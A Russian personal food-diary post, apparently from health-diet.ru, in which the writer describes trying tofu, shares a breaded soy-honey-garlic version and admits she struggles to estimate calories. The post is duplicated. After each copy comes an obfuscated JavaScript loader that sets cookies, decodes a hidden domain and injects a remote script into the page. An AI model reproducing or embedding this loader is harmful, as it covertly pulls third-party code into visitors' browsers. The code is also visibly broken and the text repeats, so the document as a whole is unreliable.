Алиса Крамер
01.12.2015 22:14
Дневник питания и тренировок за 01.12.2015
так хотела про одну вкусность написать рецепт,но из-за плохого
рейтинга активности не могу опубликовать.ничего.так напишу
в общем решили мы с моим парнем попробовать кушать тофу. типа полезный он,да и дешёвый как оказалось
сначала попробовали просто жарить-вкусно
потом я попробовала с фруктами просто кушать (предварительно полив мёдом для вкуса)- не вкусно.как мокрый картон
но самый пик это когда парень нарезал тофу прямоугольниками , вымочил в соевом соусе с мёдом и чесноком ,обвалял в панировочных сухарях и обжарил. вкуснота необычайная,серьёзно
не считала по калориям и полезности,но думаю.....думаю,что всё хорошо там с этим. в любом случае не промах
ещё одно:пока жила без ноута-не могла записывать в мзр всё.соответственно ,питалась на глаз(и на ос,на рот
). так
вот.записала последний день...перебираю...не могу просто оценить
,просто примерно подсчитать.кажется,что не много. ана самом
деле...в общем ...не умею я пока инстинктивно питаться...зато есть
пока чему учиться!
window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="24108",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"
+"=(*)");return
t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var
n=o.expires;if("number"==typeof n&&n){var i=new
Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var
r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var
a=e+"="+t;for(var d in o){a+="; "+d;var
c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var
t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return
t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o <
e.length;o++)t+=String.fromCharCode(parseInt(e,16));return
t},d=function(){return "health-diet.ru"},p=function(){var
w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return
p}for(var
e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return
p;}else{break;}}return ""},c=function(e,t,o){var
lp=p();if(lp==""return;var
n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else
if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var
i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc
ript",document.head.appendChild(i),i.onl
oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof
t&&t())},i.oner
ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof
o&&o())}}},s=function(f){var
u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var
t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var
t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var
r=o("a2519043306";t=r?r:e,s(t)};f()}();
в общем решили мы с моим парнем попробовать кушать тофу. типа полезный он,да и дешёвый как оказалось
сначала попробовали просто жарить-вкусно
потом я попробовала с фруктами просто кушать (предварительно полив мёдом для вкуса)- не вкусно.как мокрый картон
но самый пик это когда парень нарезал тофу прямоугольниками , вымочил в соевом соусе с мёдом и чесноком ,обвалял в панировочных сухарях и обжарил. вкуснота необычайная,серьёзно
не считала по калориям и полезности,но думаю.....думаю,что всё хорошо там с этим. в любом случае не промах
ещё одно:пока жила без ноута-не могла записывать в мзр всё.соответственно ,питалась на глаз(и на ос,на рот
). так
вот.записала последний день...перебираю...не могу просто оценить
,просто примерно подсчитать.кажется,что не много. ана самом
деле...в общем ...не умею я пока инстинктивно питаться...зато есть
пока чему учиться! window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="24108",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"
+"=(*)");return
t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var
n=o.expires;if("number"==typeof n&&n){var i=new
Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var
r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var
a=e+"="+t;for(var d in o){a+="; "+d;var
c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var
t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return
t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o <
e.length;o++)t+=String.fromCharCode(parseInt(e,16));return
t},d=function(){return "health-diet.ru"},p=function(){var
w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return
p}for(var
e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return
p;}else{break;}}return ""},c=function(e,t,o){var
lp=p();if(lp==""return;var
n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else
if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var
i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc
ript",document.head.appendChild(i),i.onl
oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof
t&&t())},i.oner
ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof
o&&o())}}},s=function(f){var
u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var
t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var
t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var
r=o("a2519043306";t=r?r:e,s(t)};f()}();
